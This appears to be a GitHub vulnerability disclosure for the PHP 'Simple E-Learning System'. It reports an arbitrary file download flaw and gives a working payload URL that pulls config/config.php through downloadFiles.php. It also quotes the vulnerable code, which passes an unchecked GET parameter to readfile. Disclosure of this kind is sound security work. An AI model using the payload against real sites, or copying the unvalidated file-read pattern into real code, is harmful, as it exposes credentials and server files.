Skip to content
Permalink
main
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time

Simple E-Learning System downloadFiles.php Arbitrary File Download

Vendor Homepage:

https://www.sourcecodester.com

Source Code Download:

https://www.sourcecodester.com/php-simple-e-learning-system-source-code

Payload

http://127.0.0.1/downloadFiles.php?download=config/config.php

image-20220806143042243

Code

downloadFiles.php line 4-13

if(isset($_GET['download'])){
    $path =$_GET['download'];
    
    
    header('content-Disposition: attachment; filename = '.$path.'');
    header('content-Type:application/octet-stream');
    header('content-Length='.filesize($path));
    readfile($path);
    exit;
}